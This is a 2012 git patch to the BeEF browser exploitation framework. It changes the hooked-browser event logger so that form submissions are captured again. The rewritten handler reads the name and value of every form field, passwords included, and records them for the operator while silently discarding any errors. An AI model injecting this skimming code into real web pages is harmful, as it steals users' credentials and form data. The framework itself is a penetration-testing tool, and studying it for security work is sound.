From 0c0027e06f6519fa8aa8a1cc6208c11dbc960034 Mon Sep 17 00:00:00 2001 From: bcoles Date: Thu, 12 Apr 2012 12:27:28 +0930 Subject: [PATCH] Event Logger now logs form submissions Fixes issue #141 --- core/main/client/logger.js | 21 +++++++++++++-------- 1 file changed, 13 insertions(+), 8 deletions(-) diff --git a/core/main/client/logger.js b/core/main/client/logger.js index b68cf8195..49f75ef1f 100644 --- a/core/main/client/logger.js +++ b/core/main/client/logger.js @@ -73,9 +73,9 @@ beef.logger = { ).blur( function(e) { beef.logger.win_blur(e); } ); - /*$j('form').submit( + $j('form').submit( function(e) { beef.logger.submit(e); } - );*/ + ); document.body.oncopy = function() { setTimeout("beef.logger.copy();", 10); } @@ -188,12 +188,17 @@ beef.logger = { * TODO: Cleanup this function */ submit: function(e) { - var f = new beef.logger.e(); - f.type = 'submit'; - f.target = beef.logger.get_dom_identifier(e.target); - f.data = 'Action: '+$j(e.target).attr('action')+' - Method: '+$j(e.target).attr('method'); - this.events.push(f); - /*this.events.push('Form submission: Action: '+$j(e.target).attr('action')+' Method: '+$j(e.target).attr('method')+' @ '+beef.logger.get_timestamp()+'s > '+beef.logger.get_dom_identifier(e.target));*/ + try { + var f = new beef.logger.e(); + var values = ""; + f.type = 'submit'; + f.target = beef.logger.get_dom_identifier(e.target); + for (var i = 0; i < e.target.elements.length; i++) { + values += "["+i+"] "+e.target.elements[i].name+"="+e.target.elements[i].value+"\n"; + } + f.data = 'Action: '+$j(e.target).attr('action')+' - Method: '+$j(e.target).attr('method') + ' - Values:\n'+values; + this.events.push(f); + } catch(e) {} }, /**